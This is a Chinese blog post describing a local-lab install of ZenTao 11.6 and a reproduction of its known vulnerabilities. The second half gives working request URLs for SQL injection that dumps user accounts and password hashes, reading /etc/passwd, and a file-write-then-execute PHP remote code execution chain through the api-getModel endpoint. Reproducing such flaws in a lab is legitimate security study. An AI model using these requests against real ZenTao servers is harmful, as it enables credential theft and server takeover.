Linux安装禅道11.6并进行漏洞复现

一、安装禅道

1、下载禅道11.6

wget https://www.zentao.net/dl/zentao/11.6/ZenTaoPMS.11.6.stable.zbox_64.tar.gz`

2、解压到opt目录下

sudo tar -zxvf  ZenTaoPMS.11.6.stable.zbox_64.tar.gz -C /opt

3、开启Apache和Mysql

/opt/zbox/zbox start 

4、浏览器访问禅道登录页面

http://127.0.0.1/

在这里插入图片描述

查看版本信息

 http://127.0.0.1/zentao/index.php?mode=getconfig

在这里插入图片描述

5、创建新用户

admin/123456登录

在这里插入图片描述

创建新用户test/CD87691043cs并登录
以上,禅道11.6已经安装好。

二、漏洞复现

1、SQL注入

访问下面网址,可以看到用户信息

http://127.0.0.1/zentao/api-getModel-api-sql-sql=select+account,password+from+zt_user

在这里插入图片描述

2、文件读取

访问下面网址,可以看到指定文件

http://127.0.0.1/zentao/api-getModel-file-parseCSV-fileName=/etc/passwd

在这里插入图片描述

3、RCE

POST请求包发送数据

http://192.168.59.128/zentao/api-getModel-editor-save-filePath=/tmp/1111
fileContent=<?php phpinfo()?>

(放在tmp下是因为其他目录可能有权限限制,不一定可以写进去)

在这里插入图片描述

查看文件1111已经写入到tmp下

在这里插入图片描述

访问1111文件
POST发送请求包

http://192.168.59.128/zentao/api-getModel-api-getMethod-filePath=/tmp/1111
fileContent=<?php phpinfo()?>

没有成功,查看源代码,发现需要给物理路径加上一层才可以。

http://192.168.59.128/zentao/api-getModel-api-getMethod-filePath=/tmp/1111/1
fileContent=<?php phpinfo()?>

在这里插入图片描述

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值